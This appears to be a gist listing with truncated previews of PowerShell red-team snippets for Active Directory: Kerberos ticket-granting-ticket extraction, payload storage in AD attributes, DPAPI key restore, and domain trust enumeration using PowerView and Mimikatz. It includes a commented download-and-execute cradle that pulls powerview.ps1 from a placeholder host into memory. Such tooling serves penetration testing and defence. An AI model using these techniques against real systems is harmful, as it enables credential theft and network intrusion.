This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Get-KerberosTicketGrantingTicket | |
| { | |
| <# | |
| .SYNOPSIS | |
| Gets the Kerberos Tickets Granting Tickets from all Logon Sessions | |
| .DESCRIPTION | |
| Get-KerberosTicketGrantingTicket uses the Local Security Authority (LSA) functions to enumerate Kerberos logon sessions and return their associate Kerberos Ticket Granting Tickets. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $GroupData = @{} | |
| $UserData = @{} | |
| $ServerData = @{} | |
| Import-CSV .\DomainGroups.csv | ForEach-Object { | |
| if($GroupData[$_.GroupName]) { | |
| $_.GroupName = $GroupData[$_.GroupName] | |
| } | |
| else { | |
| $guid = ([guid]::NewGuid()).Guid |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Import PowerView into memory without touching disk | |
| # IEX (New-Object Net.WebClient).DownloadString('http://HOST/powerview.ps1') | |
| ################################### | |
| # Hunting for Users | |
| ################################### | |
| # search for administrator groups |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 2 | |
| function New-ADPayload { | |
| <# | |
| .SYNOPSIS | |
| Stores PowerShell logic in the mSMQSignCertificates of the specified -TriggerAccount and generates | |
| a one-line launcher. | |
| Author: @harmj0y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 2 | |
| function New-ADPayload { | |
| <# | |
| .SYNOPSIS | |
| Stores PowerShell logic in the mSMQSignCertificates of the specified -TriggerAccount and generates | |
| a one-line launcher. | |
| Author: @harmj0y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Restore-UserDPAPI { | |
| <# | |
| .SYNOPSIS | |
| Restores a user account's DPAPI master key on a new system. | |
| Author: @harmj0y | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Rotate-Byte { | |
| <# | |
| .SYNOPSIS | |
| Performs left/right binary rotation on individual bytes. | |
| Author: @harmj0y | |
| .DESCRIPTION | |
| Implements the logic to perform per-byte binary rotates right and left. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $RSA = New-RSAKeyPair | |
| # local tests | |
| $ComputerName = 'localhost' | |
| $StorePath = 'C:\Temp\temp.bin' | |
| Write-Host "`n[$ComputerName] AES Storepath : $StorePath" | |
| ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!' | |
| Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List | |
| Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # import PowerView and Invoke-Mimikatz | |
| Import-Module .\powerview.ps1 | |
| Import-Module .\mimikatz.ps1 | |
| # map all reachable domain trusts | |
| Invoke-MapDomainTrust | |
| # enumerate groups with 'foreign' users users, and convert the foreign principal SIDs to names | |
| Find-ForeignGroup -Domain external.local | |
| Find-ForeignGroup -Domain external.local | Select-Object -ExpandProperty UserName | Convert-SidToName |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function ConvertTo-Rc4ByteStream { | |
| <# | |
| .SYNOPSIS | |
| Converts an input byte array to a RC4 cipher stream using the specified key. | |
| Author: @harmj0y | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None |